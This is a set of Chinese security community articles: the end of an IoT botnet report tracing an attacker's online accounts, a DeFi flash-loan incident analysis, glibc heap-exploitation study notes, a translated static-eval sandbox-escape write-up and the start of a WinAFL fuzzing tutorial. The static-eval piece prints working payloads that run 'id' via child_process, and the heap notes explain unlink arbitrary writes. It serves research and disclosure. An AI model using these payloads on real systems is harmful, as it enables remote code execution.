该邮件地址（ _nexuszeta1337[@gmail](https://github.com/gmail
"@gmail")[.]com_）与C&C域名有一些交集，因此我们怀疑这个地址并不是一次性邮件地址，可以根据该地址来揭晓攻击者的真实身份。当搜索Nexus
Zeta 1337时，我们在HackForums上找到了一个活跃的成员，该成员的用户昵称为“Nexus
Zeta”，自2015年8月起已经是HackForums的一份子。虽然这个人在这种论坛上活跃度很低，但他发表了几篇帖子，从这些帖子中我们并没有发现他的专业水平有多高。不过有趣的是，他最近关注的是如何建立起类似Mirai的IoT僵尸网络。
图11. Nexus Zeta在HackForums上的某个帖子
“NexusZeta”在社交媒体上也颇为活跃，主要是在Twitter以及Github上，他在这两个平台上都公布了自己的IoT僵尸网络项目。实际上，这个人还将其Github账户关联到我们前面提到的某个恶意域名（
_nexusiotsolutions[.]net_ ）。我们也找到了他所使用的Skype以及SoundCloud账户，使用人名为Caleb
Wilson（caleb.wilson37 / Caleb Wilson 37），然而我们无法确定这个名字是否就是其真实姓名。
图12. Nexus Zeta的Twitter账户
图13. Nexus Zeta的Github账户
根据Nexus
Zeta在HackForums上的活动轨迹，我们可以通过攻击者的视角找到一些有趣的信息。在11月23日至26日期间，当时我们的传感器已经检测到攻击者的恶意活动，与此同时，他也活跃在Hackforums上，发表了一个非常有趣的帖子（11月23日）：
图14. Nexus Zeta在攻击之前发表的帖子
帖子内容为：
_“大家好，我想找人帮我编译mirai僵尸网络程序，听说成功编译后，就能达到每秒1Tb的攻击流量规模，所以请帮我搭建mirai telnet僵尸网络。”_
根据我们的调查结果，Nexus
Zeta看起来似乎不像是我们最初设想的那样，是一个非常厉害的攻击者，而只是带有各种动机的业余爱好者，正在寻求他人的帮助。值得一提的是，我们并不清楚他如何找到利用这个0Day漏洞的具体方法。
尽管如此，在过去一年中，包括本次案例在内的多个攻击事件表明，当恶意软件源代码的泄露与IoT设备的脆弱性结合在一起时，技术并不娴熟的攻击者也可以借此造成灾难性的后果。
## 九、IPS以及反僵尸程序保护措施
我们的IPS以及反僵尸程序保护措施已经成功阻止了这次攻击活动，尽管其利用的是0Day漏洞。我们将继续监控并研究其他在野的任何攻击行为。
**IPS 0Day保护措施：**
HG532路由器远程代码执行
**反僵尸程序保护措施：**
Linux.OKIRU.A
Linux.OKIRU.B
## 十、参考资料
<https://www.checkpoint.com/defense/advisories/public/2017/cpai-2017-1016.html>
<http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en> | 社区文章 |
# Discover 闪电贷攻击事件分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 事件背景
零时科技区块链安全情报平台监控到消息，北京时间 2022年6月6日 Binance 链上 Discover
智能合约遭到闪电贷攻击。零时科技安全团队及时对此安全事件进行分析。
## 0x2 攻击者信息
* 攻击者钱包：
0x446247bb10B77D1BCa4D4A396E014526D1ABA277
* 攻击者合约：
0x06b912354b167848a4a608a56bc26c680dad3d79
0xfa9c2157cf3d8cbfd54f6bef7388fbcd7dc90bd6
* 攻击交易：
0x8a33a1f8c7af372a9c81ede9e442114f0aabb537e5c3a22c0fd7231c4820f1e9
0x1dd4989052f69cd388f4dfbeb1690a3f3a323ebb73df816e5ef2466dc98fa4a4
* ETHpledge合约：
0xe732a7bD6706CBD6834B300D7c56a8D2096723A7
## 0x3 攻击分析
**攻击者主要的攻击交易流程：**
1. 通过PancakeSwap闪电贷分别借款 2100枚 USD 和 19810 枚 USD。
2. 将 2000 枚 USD 转移至 ETHpledge 合约0xe732a。ETHpledge 合约返回 62,536 枚 Discover。
3. 将 19,810 枚 USD 归还闪电贷至 BSC-USD-Discover。
4. 将 62,536 枚 Discover 换取USD，获得 16,336 枚 USD。
5. 归还 2,100 枚 闪电贷借款，将剩余的 USD 兑换为 BNB，获利离场。
## 0x4 漏洞细节
ETHpledge.team
ETHpledge.pledgein方法作用是，调用者转入USDT资金后收到一定比例的Discover代币，这里转入USDT资金在pledgein方法执行，接收Discover代币的逻辑在ETHpledge.team方法实现，获取价格逻辑在ETHpledge.getprice方法实现。
**漏洞解析**
**攻击者调用ETHpledge.pledgein方法之前通过闪电贷借到大量USDT资金，使得 usdt.balanceOf
资金变少，之后调用ETHpledge.pledgein方法将少量USDT转入，随后调用ETHpledge.getprice方法获取价格，由于usdt.balanceOf
减少，所以_price变小，_swapprice变小，最终转账数量的curTamount变量增大。从而兑换的Discover代币数量增加。**
在兑换了大量Discover代币后，攻击者随后迅速归还了数量较多的一笔USDT闪电贷借款。随后使用Discover代币正常兑换出较多的USDT。
## 0x5 资金流向
目前黑客已将获利的 49 枚 BNB 转移至 Tornado.Cash混币平台。
## 0x6 总结
此次攻击事件主要通过闪电贷资金控制价格，导致兑换数量波动，对于此类安全事件，建议不要使用外部可控的资金数量来获取价格，避免闪电贷攻击影响官方及用户资产，此外合约上线前应进行全面安全审计，将可能发生的安全风险规避掉。 | 社区文章 |
好多大佬们都对 **how2heap** 这个项目进行了汇总,我就不班门弄斧了,但是同时大佬对一些问题一笔带过,这里就记一下本人在学 how2heap
中的一些有疑问的点,应该具有一定的代表性.大佬可以帮忙挑错,希望和大家一起进步
## first_fit 疑问和拓展
我一开始就有疑问,为什么明明是 smallbins 和 largebins 范围内的 chunk ,它直接去 unsortedbins 呢,事实上只要不是
fastbins 范围内的,经过 free 后都会先进入 unsorted bin 待命.系统在进行 malloc 分配的时候 unsortedbin
算是起到一个缓冲区的作用,测试程序如下
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char* a = malloc(512);
char* b = malloc(256);
free(a);
char* c = malloc(500);
}
断在 malloc(c)处( **注** :以后 `char* c = malloc(500)` 这种直接简写成 malloc(c) )
4 int main()
5 {
6 char* a = malloc(512);
7 char* b = malloc(256);
8 free(a);
► 9 char* c = malloc(500);
10 // char* d = malloc(512);
11 }
──────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
...
────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
...
──────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint /home/pic/桌面/te.c:9
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
smallbins
empty
largebins
empty
之后 malloc(c) 会把 unsortedbin
这个取出(只有这个bin不加s,不是复数,也可以说明只有一个链表,2333),而倘若把程序进行如下的修改
5 {
6 char* a = malloc(512);
7 char* b = malloc(256);
8 free(a);
9 char* c = malloc(10);
► 10 char* d = malloc(512);
11 }
──────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
...
────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
...
──────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/32gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x00007ffff7dd1d78 0x00007ffff7dd1d78
0x602020: 0x0000000000000000 0x00000000000001f1
0x602030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
可以看到程序仍然是从 unsortedbin 取出的,不过进行了切割, c 只拿走了0x20(1是标志位)个字节,剩下了0x1f0字节(剩下的我们称之为
**remainder chunk** ,仍留在 unsortedbin 中),而 remainder chunk 完全不够 d 的大小,所以猜想 d
会切割 top chunk ,之后我们再 n 单步运行发现果然是这样,但是同时
pwndbg> heap
0x602000 FASTBIN { <------------------c
prev_size = 0,
size = 33,
fd = 0x7ffff7dd1d78 <main_arena+600>,
bk = 0x7ffff7dd1d78 <main_arena+600>,
fd_nextsize = 0x0,
bk_nextsize = 0x1f1
}
0x602020 PREV_INUSE { <------------------之前的 remainder chunk
prev_size = 0,
size = 497,
fd = 0x7ffff7dd1d58 <main_arena+568>,
bk = 0x7ffff7dd1d58 <main_arena+568>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602210 { <------------------b
prev_size = 496,
size = 272,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602320 PREV_INUSE { <-------------------d
prev_size = 0,
size = 529,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602530 PREV_INUSE { <-------------------top chunk
prev_size = 0,
size = 133841,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> p d
$1 = 0x602330 ""
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x1f0: 0x602020 —▸ 0x7ffff7dd1d58 (main_arena+568) ◂— 0x602020 /* ' `' */
largebins
empty
发现我们之前剩下的 chunk 这才被归入了 smallbins .我们可以形象的理解为 unsortedbin
非常强势,试图掌握一切,但是它在能力不足时才会把别人应得的归还,也即我们常说的甩锅,2333
## consolidate研究
我在这里直接演示一个比较极端的例子,因为 how2heap 中的程序 fastbin_dup_consolidate 看上去就像是直接整合到了
smallbins 一样
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int main() {
void* p1 = malloc(0x70);
void* p3 = malloc(0x70);
void* p4 = malloc(0x70);
void* p5 = malloc(0x70);
void* p6 = malloc(0x70);
void* p7 = malloc(0x70);
void* p8 = malloc(0x70);
void* p9 = malloc(0x70);
void* p10 = malloc(0x70);
void* p2 = malloc(0x70);
free(p1);
free(p3);
free(p4);
free(p5);
free(p6);
free(p7);
free(p8);
free(p9);
free(p10);
void* p12 = malloc(0x400);
}
直接在 malloc(p12) 中下断,跑起来
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x602400 —▸ 0x602380 —▸ 0x602300 —▸ 0x602280 —▸ 0x602200 ◂— ...
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
之前 free 的都跑到了 fastbins 再次 n 单步,发现
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602410 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602410
smallbins
empty
largebins
empty
经过 consolidate 后,我们的 fastbins 全部被摘下来了,同时进入了 unsortedbin ,而且也够 p12 要求的大小.所以整合过的
chunk 就直接分配给 p12 了.
pwndbg> p p12
$2 = (void *) 0x602010
这时候我们再回头看看 fastbin_dup_consolidate ,把之前我们介绍的强势的 unsortedbin 概念拿过来,我们发现,事实上该程序在
`void* p3 = malloc(0x400);` 时, unsortedbin 的大小并不满足 p3 所要求的大小,所以会进行"甩锅",把
unsortedbin 中的 chunk 丢到 smallbins 中
## unsafe_unlink
大佬们已经总结的很好了,解决这两个问题就完事
* unlink 过程
* 最后的赋值修改
> unlink过程
FD = P->fd;
BK = P->bk;
FD->bk = BK
BK->fd = FD
我们看一下, FD 和 BK 都是相对 P(fake chunk) 而言的,所以 FD 就是 0x602058 ,同时 BK 是 0x602060 ,所以
FD->bk = 0x602060 , BK->fd = 0x602058
,由于`FD->bk`和`BK->fd`这两块都是指向一处地址,后边的有效,改成了
pwndbg> x/32gx 0x602058
0x602058: 0x0000000000000000 0x00007ffff7dd2540
0x602068 <completed.7594>: 0x0000000000000000 0x0000000000602058
要注意 chunk0_ptr 此时地址为 0x602070 ,我们可以修改指针的指向以达到任意写的目的,可以看看如下的小 demo
> 最后的赋值修改,类似如此
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main()
{
char b[8]="aaaa";
chunk0_ptr=&b;
chunk0_ptr[0] = 0x4242424242424242LL;
printf("%s\n",b);
}
程序结果
{13:40}~/桌面 ➭ gcc te.c
te.c: In function ‘main’:
te.c:10:12: warning: assignment from incompatible pointer type [-Wincompatible-pointer-types]
chunk0_ptr=&b;
^
{13:40}~/桌面 ➭ ./a.out
BBBBBBBB | 社区文章 |
# 如何绕过受限JS沙箱
|
##### 译文声明
本文是翻译文章，文章原作者 licenciaparahackear，文章来源：licenciaparahackear.github.io
原文地址：<https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在参与某个漏洞赏金计划时，我发现某个站点的功能非常有趣：该站点允许用户使用可控的表达式来过滤数据。我可以使用类似`book.price >
100`的表达式来显示价格高于100美元的书籍，使用`true`为过滤器则显示所有书籍，`false`为过滤器不显示任何内容。因此，我可以知道所使用的表达式结果为`true`还是`false`。
该功能成功吸引了我的注意，因此我尝试传入更为复杂的表达式，如`(1+1).toString()==="2"`（结果为真）以及`(1+1).toString()===5`（结果为假）。这显然是JavaScript代码，因此我猜测我使用的表达式会传入NodeJS服务器上类似`eval`的某个函数。此时貌似我找到了一个远程代码执行（RCE）漏洞。然而，当我使用更为复杂的表达式时，服务器返回错误，提示表达式无效。我猜测服务端并没有使用`eval`函数来解析表达式，而是使用了JavaScript的某种沙箱。
在受限环境中使用沙箱来执行不可信代码通常并不完美。在大多数情况下，我们已经有一些方法能够绕过这种保护措施，以普通权限来执行代码。如果目标环境尝试限制使用像JavaScript之类复杂功能的语言，那么防护起来更难面面俱到。发现这个问题后，我决定花些时间尝试突破这个沙箱系统。我需要了解JavaScript内部工作原理，这样才能有助于查找并利用RCE。
我首先需要确定网站使用哪个库来实现沙箱，因为整个NodeJS生态中有数十个库可以实现该功能，并且在许多情况下这些实现方案并不完美。也有可能目标网站使用了自定义的沙箱，但这种可能性较小，因为开发者需要较多精力才能做到这一点。
最后，我通过分析应用的错误信息发现目标站点使用的是[static-eval](https://github.com/substack/static-eval)，这个库没有那么知名（但开发者是[substack](https://twitter.com/substack)，是NodeJS社区的一个名人）。虽然这个库最初并不是针对沙箱场景而设计（其实我现在也不了解这个库最开始的使用场景），但文档中的确涉及相关内容。目前，我测试的这个站点的确将该库用于沙箱环境。
## 二、绕过static-eval
`static-eval`的原理是使用[esprima](https://github.com/jquery/esprima/)库来解析JS表达式，将其转化为[AST（抽象语法树）](https://en.wikipedia.org/wiki/Abstract_syntax_tree)。给定AST和我们输入的变量对象后，目标会尝试计算表达式。如果目标发现某一点存在异常，那么函数就会失败，不会执行我们输入的代码。因为这一点，最开始时我有点动力不足，因为我发现这个沙箱系统对能接收的数据非常严格。我甚至不能在表达式中使用`for`或者`while`语句，因此想执行需要迭代算法的操作几乎无法完成。无论如何，我一直在尝试寻找系统中是否存在任何bug。
粗略分析后我并没有找到任何bug，因此我查看了`static-eval`
[GitHub](https://github.com/substack/static-eval)项目的`commits`和`pull`请求。我发现其中有个[pull请求](https://github.com/substack/static-eval/pull/18)修复了2个bug，这些bug可以规避沙箱环境，这正是我所寻找的答案。我也发现了pull请求作者发表过的一篇[文章](https://maustin.net/articles/2017-10/static_eval)，其中深入分析了这些漏洞。因此，我第一时间在目标站点上测试了这些技术，但不幸的是，目标站点使用的是新版的`static-eval`，已经修复了这些漏洞。然而，当发现有人曾成功绕过沙箱后，我对自己也更有信心，因此开始寻找能规避沙箱的新方法。
随后，我深入分析了这两个漏洞，希望这些漏洞能帮我找到思路，发现该库中的新漏洞。
## 三、分析第一个漏洞
第一个漏洞使用了[constructor](https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function)来构造恶意函数，攻击者经常使用这种技术来绕过沙箱。比如，在绕过angular.js沙箱以获得XSS攻击点的大多数方法中，最终都会使用能够调用`constructor`的payload。攻击者也常使用这种方法来绕过与`static-eval`类似的库，如[`vm2`](https://github.com/patriksimek/vm2/issues/32)。例如，我们可以通过如下表达式打印出系统环境变量，证实漏洞的确存在（因为沙箱的存在，该操作可能不会成功）：
"".sub.constructor("console.log(process.env)")()
在如上代码中，`"".sub`是获得函数的一个简单方法（`(function(){})`也能实现类似功能），随后再获取该函数的`constructor`。当调用该函数后会返回一个新函数，该函数具体代码为传入的字符串参数。这类似于`eval`函数，但并没有立即执行代码，而是返回可以执行代码的一个函数。这就可以解释payload结尾为什么会有`()`，我们可以通过这种方式来调用该函数。
我们可以执行更多操作，而不单单是打印环境变量。比如，我们可以使用NodeJS
`child_process`模块的`execSync`函数来执行操作系统命令并返回输出结果。如下payload会返回`id`命令的输出结果：
"".sub.constructor("console.log(global.process.mainModule.constructor._load("child_process").execSync("id").toString())")()
上面的payload与之前的payload类似，不同点在于所创建函数的具体代码。在该代码中，`global.process.mainModule.constructor._load`与NodeJS中`require`函数的功能一样。由于我没注意到的某些原因，函数`constructor`内部无法使用`require`，因此我只能使用这种不优雅的表达方式。
开发者通过阻止对函数对象属性的访问（通过`typeof obj == 'function'`来判断对象是否是函数）来修复该漏洞：
else if (node.type === 'MemberExpression') {
var obj = walk(node.object);
// do not allow access to methods on Function
if((obj === FAIL) || (typeof obj == 'function')){
return FAIL;
}
这种修复方式非常简单，但也非常有效。由于`constructor`只能在函数中使用，因此现在我已无法访问该接口。对象的`typeof`属性无法修改，因此只要是函数，那么`typeof`必定等于`function`。我没有找到绕过这种防护的办法，因此我接着分析第二个漏洞。
## 四、分析第二个漏洞
与第一个漏洞相比，这个漏洞更加简单，也更加容易发现：问题在于沙箱允许我们创建匿名函数，但并没有检查函数内容，没有禁用恶意代码。实际上，我们可以将函数体直接传递给构造函数。如下代码能够实现与前面第一个payload同样的效果：
(function(){console.log(process.env)})()
我们可以修改匿名函数的函数体，使用`execSync`来显示系统命令的执行结果，这部分工作留给大家来完成。
对于该漏洞，一种可能的修复方式是禁用`static-eval`表达式内部的所有匿名函数声明语句。然而，这样可能会阻止匿名函数的正常使用（比如，正常情况下匿名函数可以用来映射数组）。因此，缓解措施必须允许正常匿名函数的使用，同时还要阻止恶意的使用方式。开发者可以分析已定义函数的函数体，检查该函数不会执行任何恶意操作，比如访问构造函数。
实际的修复措施比第一个漏洞的修复方式要更为复杂。与此同时，Matt
Austin（提出缓解措施的开发者）表示自己并不确定这种方法是否能够完美解决问题。因此，我决定找到绕过这种修复措施的方法。
## 五、寻找新漏洞
我注意到一个细节，`static-eval`会在函数定义时判断目标是否为恶意函数，而不在函数被调用时进行判断。因此`static-eval`并不会去考虑函数参数的具体值，因此这样就需要在函数被调用时进行判断。
我常用的做法就是尝试访问构造函数，通过某种方式绕过第一种修复措施（因为我无法访问函数的属性）。然而，如果我尝试访问函数参数的`constructor`时会出现什么情况？由于函数定义时并不知道这个值，因此我们有可能借此绕过系统的限制机制。为了测试这一点，我使用了如下表达式：
(function(something){return something.constructor})("".sub)
如果上面语句返回了`cnostructor`，那么我们成功找到了绕过办法。不幸的是事实并非如此。如果某个函数在函数定义时访问某个未知类型的某个属性时，就会被`static-eval`阻止（这里即为`something`参数）。
`static-eval`有个非常有用的特性，基本可以适用于所有情况。我们可以指定在`static-eval`内部可用的一些变量。比如，在本文开头，我使用了`book.price > 100`这个表达式。在这种情况下，调用`static-eval`的代码会向其传入`book`变量的值，以便在表达式中使用该变量。
这给了我另一个思路：如果我构造一个匿名函数，参数名与已定义的变量名相同会出现什么情况？由于目标无法在定义时知道参数的值，因此可能会使用变量的初始值，这对我来说非常有用。假如我又一个变量`book`，其初始值为一个对象，那么利用如下表达式：
(function(book){return book.constructor})("".sub)
将得到一个非常满意的结果：当定义函数时，`static-eval`会检查`book.constructor`是否为有效的表达式。由于`book`最开始时为对象（其`typeof`值为`object`），并非函数，因此我们可以访问其`constructor`，成功创建函数。然而，当我调用该函数时，`book`会将传入的值作为参数传递给另一个函数（即`"".sub`，另一个函数）。然后访问并返回其`constructor`，最终成功返回`constructor`。
不幸的是，这种方法依然无法成功，因为开发者也考虑到了这种情况。在分析函数体时，所有参数的值会被设置为`null`，覆盖变量的初始值。部分代码如下所示：
node.params.forEach(function(key) {
if(key.type == 'Identifier'){
vars[key.name] = null;
}
});
这段代码会处理定义该函数的AST节点，遍历类型为`Identifier`的每个参数，提取其名称并将对应的`vars`属性为`null`。即便上述代码看起来非常正确，但也犯下了一个非常常见的错误：并没有覆盖所有可能的情况。如果某个参数比较奇怪，其类型不等于`Identifier`会出现什么情况？修复代码并没有采用白名单机制，会忽略该参数，继续执行剩余代码（类似黑名单机制）。这意味着如果我构造的节点类型与`Identifier`不同，那么该变量的值就不会被覆盖，因此就可以使用初始值。此时我非常确定自己找到了非常关键的一点。我只需要想办法将`key.type`的值设置为与`Identifier`不同的其他值即可。
前面我们提到过，`static-eval`使用[`esprima`库](https://github.com/jquery/esprima/)来解析我们输入的代码。根据相关文档，`esprima`这个解析器完全支持[ECMAScript标准](https://www.ecma-international.org/ecma-262/7.0/)。ECMAScript类似于JavaScript的另一种表示法，但具备更多的功能，语法上对用户而言更加友好。
ECMAScript添加的一个功能就是[函数参数解构](https://simonsmith.io/destructuring-objects-as-function-parameters-in-es6/)功能。在该功能的帮助下，如下JS代码现在可以正常执行：
function fullName({firstName, lastName}){
return firstName + " " + lastName;
}
console.log(fullName({firstName: "John", lastName: "McCarthy"}))
函数参数定义中包含花括号，不代表该函数接受`firstName`和`lastName`两个参数，而是只接受一个参数，该参数是包含`firstName`和`lastName`属性的一个对象。上面代码等同于如下代码：
function fullName(person){
return person.firstName + " " + person.lastName;
}
console.log(fullName({firstName: "John", lastName: "McCarthy"}))
如果我们检查esprima生成的AST（我使用的是[这款工具](http://esprima.org/demo/parse.html)），就能看到一个非常令人满意的结果：
实际上，这种新的语法可以让函数参数的`key.type`值不等于`Identifier`，因此`static-eval`在覆盖变量时不会处理该参数。通过这种方法，当执行如下表达式时:
(function({book}){return book.constructor})({book:"".sub})
`static-eval`会使用`book`的初始值（这是一个对象），然后我们也能创建函数。但当函数被调用时，`book`就会变成一个函数，因此就能返回函数的`constructor`。现在我的确找到了绕过方法！
之前的表达式会返回函数的`constructor`，因此我只需要调用`constructor`来创建恶意函数，然后再调用新创建的函数即可。
(function({book}){return book.constructor})({book:"".sub})("console.log(global.process.mainModule.constructor._load("child_process").execSync("id").toString())")()
我在本地环境安装了最新版的`static-eval`，并测试了这个表达式，结果与我的预期相符：
任务完成！我找到了绕过`static-eval`库的一种方法，能够在使用该库的目标主机上执行代码。唯一的条件是需要知道变量值不是函数的某个变量名，并且该变量包含`constructor`属性。字符串（strings）、数字（numbers）、数组（arrays）以及对象（objects）都满足这些条件，因此这对我们来说应该不难。我只需要在我测试的网站上使用这种技术，证实目标存在RCE利用点即可。但事情真的那么简单吗？
## 六、无法在目标环境中生效
不幸的是，即使我找到了优雅并且可用的绕过方法后，我发现我测试的目标站点上并不能使用这种技术。唯一的条件是我们要掌握变量值不为函数的某个变量名，因此大家可能觉得我找不到这个切入点，导致我无法利用漏洞。然而事实上我的确满足这个条件，之所以无法成功利用，原因有点复杂。
这里介绍一下相关背景，该网站并没有直接使用`static-eval`库，而是通过[jsonpath](https://github.com/dchester/jsonpath)
npm库来使用目标库。JSONPath是与XPATH类似的一个查询语言，但处理的是JSON文档而非XML文档，该库最早于2007年问世（参考[此处文章](https://goessner.net/articles/JsonPath/)）。
阅读JSONPath文档后，我发现这个项目非常糟糕，没有明确的规范，所实现的大多数功能有点随性而为之的感觉，并不去考虑添加这些功能是否必要。可惜的是NodeJS生态系统中充斥着类似的库。
JSONPath具有一个过滤器表达式功能，可以过滤匹配给定表达式的文档。比如，我们可以使用`$.store.book[?(@.price <
10)].title`来筛选价格低于`$10`的书籍，然后获取书籍的标题。jsonpath npm库使用`static-eval`来计算括号之间的表达式。我测试的站点可以让我指定JSONPath表达式，然后使用该库来解析这个表达式，因此RCE也就顺手拈来。
如果我们仔细观察上面那个JSONPath表达式，可以看到传递给`static-eval`的表达式为`@.price <
10`。根据文档描述，`@`是包含待过滤文档的一个变量（通常是一个对象）。不幸的是，JSONPath开发者采用的是`@`这个符号。根据ECMAScript规范，该符号并不是一个有效的变量名。因此为了让`static-eval`能够正常工作，开发者需要[修改esprima代码](https://github.com/dchester/jsonpath/blob/87f97be392870c469308dd4dc90d2067863ea02a/lib/aesprim.js#L8)。使其能够将`@`当成一个合法的变量名。
当我们在`static-eval`中创建匿名函数时，匿名函数会嵌入另一个函数中，后者将其当成已定义的变量参数来使用。因此如果我在JSONPath过滤器表达式中创建一个匿名函数，那么它将创建包含该函数的一个函数，并且接受名为`@`的一个参数。程序会直接调用`constructor`来完成该操作，因此并没有使用之前的esprima补丁。然后，当定义函数时，它会抛出我无法规避的一个错误。这是这个库的一个bug，导致我们无法在过滤器表达式中定义函数（不管是不是恶意函数）。因此，本文介绍的这种绕过技术无法适用于这个库。
由于开发者在目标库中使用了`@`来命名变量，而该符号又不是JS中的有效变量名，因此我无法在目标站点中利用RCE漏洞，也没法获得4位数的漏洞赏金。为什么开发者不使用`_`（这是一个有效的变量名）、`document`或者`joseph`！经过这次学习，我找到了某个库中很大的一个漏洞，也学到了关于JavaScript的不少知识。
## 七、总结
即使我没有拿到预期的赏金，在与这个库搏斗的过程中我也乐此不疲。我也利用学到的知识绕过了另一个受限JS环境，这一次我并没有空手而归，回头我希望能够尽快公布相关研究报告。
这里还得再次感谢Matt Austin之前关于[static-eval](https://maustin.net/articles/2017-10/static_eval)的研究成果，没有这些成果支撑，也许我不会发现这个新的漏洞。
在测试目标系统方面，我们可以考虑在本地环境中复现并控制系统的每个功能，这样我们测试起来可以更加自由。在本文中，我使用了部署`static-eval`库的一个Docker实例，在此基础上尝试绕过沙箱。我的问题在于，我在整个研究过程中只使用过这个实例，没有去验证这种技术在实际网站中是否可用。如果我先验证了这一点，很可能早就发现这一点，可以早点腾出手来。这里我们可以吸取教训，不要过于抽象整个环境，我们需要不断测试在实际系统中的发现，而不是埋头钻到实验环境中。
最后提一下，如果我们正在审计部署类似系统的站点，该站点会将用户可控的表达式在沙箱中执行，我建议大家可以好好用心分析这个环境。沙箱系统很难尽善尽美，如果沙箱能够执行动态、全功能的编程语言（如JavaScript、Python或者Ruby）的话更难面面俱到。当我们发现沙箱绕过漏洞时，这种漏洞往往能够对包含该系统的应用造成重大影响。
## 八、时间线
* 01/02/19 – 将漏洞信息提交给NodeJS安全团队以及static-eval维护人员，大家可以参考[原始报告](https://licenciaparahackear.github.io/posts/static-eval-sandbox-escape-original-writeup/)
* 01/03/19 – NodeJS安全团队复现漏洞，告诉我他们将联系程序库维护人员，如果维护人员不响应报告，则会公布安全公告
* 02/14/19 – [nmpjs网站上公布安全公告](https://www.npmjs.com/advisories/758)
* 02/15/19 – [漏洞已被修复](https://github.com/browserify/static-eval/pull/21) ，发布新版程序库
* 02/18/19 – 程序库的README文件已更新，提到该库[不应该](https://github.com/browserify/static-eval/pull/22/files)作为沙箱来使用
* 02/26/19 – 发布新的[补丁](https://github.com/browserify/static-eval/pull/23)，因为我最早的补丁有个bug，导致`static-eval`仍然存在漏洞 | 社区文章 |
# 【技术分享】使用 WinAFL 对 MSXML6 库进行模糊测试
|
##### 译文声明
本文是翻译文章，文章来源：symeonp.github.io
原文地址：<https://symeonp.github.io/2017/09/17/fuzzing-winafl.html >
译文仅供参考，具体内容表达以及含义原文为准。
译者：[ **天鸽**](http://bobao.360.cn/member/contribute?uid=145812086)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**MSXML库模糊测试**
在这篇博客中，我将介绍怎样使用 [**WinAFL**](https://github.com/ivanfratric/winafl) **fuzzer**
来对 **MSXML** 库做模糊测试。
也许你还没有使用过 WinAFL，它是由 **Ivan** （Google's Project Zero）创造的一个大型 fuzzer，它基于
**Icumtuf** 创造的使用 **DynamoRIO** 来测量代码覆盖率的
[AFL](http://lcamtuf.coredump.cx/afl/)，和用于内存和进程创建的 Windows API。[Axel
Souchet](https://twitter.com/0vercl0k) 一直在积极地提供新功能，如最新稳定版中的 [corpus
minimization](https://github.com/ivanfratric/winafl/commit/691dc760690750752054794891f75fbce50fee56)，将在下一篇博客中介绍的
[persistent execution
mode](https://github.com/ivanfratric/winafl/commit/8aa1e138dd0284b1da5c844c5d21fc5ebe5d1c45)
和 [afl-tmin](https://github.com/ivanfratric/winafl/commit/992a68ba34df152e07453f0b592ff79aa8d4de9a)
工具。
我们将从创建一个测试框架（test harness）开始，它可以让我们在库中 fuzz 一些解析函数，计算覆盖范围和最小化测试用例，最后以启动 fuzzer
和对结果进行分类来结束。最后，感谢来自 0patch 的 Mitja Kolsek 提供的补丁，它展示了怎样用 0patch 来修补该漏洞！
使用上述步骤，我已经在函数 msxml6!DTD::findEntityGeneral 中找到了一个 NULL pointer dereference
的问题，我向微软报告后被拒绝，他们认为这不是一个安全问题。公平地说，只有 crash 确实没用，希望有人能发现一些有趣的东西。
**测试框架**
在做了一些研究的时候，我在[这里](https://msdn.microsoft.com/en-us/library/ms754517%28v=vs.85%29.aspx)发现了微软提供的一个 C++ 示例代码，它允许我们提供一些 XML
文件并验证其结构。我将使用 Visual Studio 2015 来构建下面的程序，但在之前，我稍微做了点修改，使用了 Ivan 的 charToWChar
方法，它接受一个参数作为一个文件：
// xmlvalidate_fuzz.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#import <msxml6.dll>
